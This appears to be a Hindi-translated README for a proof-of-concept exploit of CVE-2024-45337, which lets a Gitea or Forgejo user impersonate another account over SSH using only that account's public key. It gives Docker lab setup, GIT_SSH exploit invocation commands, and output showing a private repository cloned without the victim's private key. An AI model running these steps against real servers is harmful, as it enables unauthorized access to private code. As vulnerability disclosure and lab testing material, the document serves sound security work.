
Gitea और Forgejo के विरुद्ध CVE-2024-45337 के लिए प्रूफ ऑफ कॉन्सेप्ट
===
यह रिपॉजिटरी CVE-2024-45337 के लिए एक अवधारणा प्रमाण शोषण शामिल करता है।
इसका उपयोग SSH सर्वर के साथ इंटरैक्ट करते समय ssh को लपेटने के लिए किया जा सकता है जो golang.org/x/crypto <= v0.30.0 का उपयोग करके कार्यान्वित किया गया है, जबकि ServerConfig.PublicKeyCallback कॉलबैक में अनुमतियों को असुरक्षित तरीके से कैश किया जाता है।
Gitea <= 1.22.4 और Forgejo <= 7.0.11, 9.0.2 आंतरिक SSH सर्वर का उपयोग करके होस्ट किए जाने पर संवेदनशील हैं। आप किसी भी उपयोगकर्ता का प्रतिरूपण कर सकते हैं, जब तक आप उन खातों से जुड़ी किसी भी सार्वजनिक कुंजी को जानते हैं। आपके पास स्वयं एक खाता होना चाहिए जिसका उपयोग आप SSH प्रमाणीकरण के लिए करते हैं।
docker compose -f docker-compose.forgejo.yml up -d
victim उपयोगकर्ता पंजीकृत करें
important_repo नामक एक निजी रिपॉजिटरी बनाएं और एक README के साथ एक प्रारंभिक कमिट उत्पन्न करें ताकि आपके पास क्लोन करने के लिए कुछ हो।attacker उपयोगकर्ता पंजीकृत करें
GIT_ATTACK_PRIVKEY को मान्य खाते की निजी कुंजी का पथ सेट करें।GIT_ATTACK_PUBKEY को अन्य लक्ष्य खाते की ज्ञात सार्वजनिक कुंजी के पथ पर सेट करें। हम उसकी निजी कुंजी नहीं जानते।GIT_SSH को शोषण स्क्रिप्ट के पथ पर सेट करें ताकि git को मूल ssh कमांड के बजाय इसका उपयोग करने के लिए कहा जा सके।GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
क्लोनिंग के दौरान कुंजियाँ निर्दिष्ट करने के लिए .ssh/config का उपयोग करें।
Host sshvictim
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_victim
IdentitiesOnly yes
Host sshattacker
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_attacker
IdentitiesOnly yes
ऊपर दिए गए स्थानीय Forgejo 7.0.11 कंटेनर सेटअप के विरुद्ध चलाएँ।
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
# Delete private key of victim for demo purposes
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.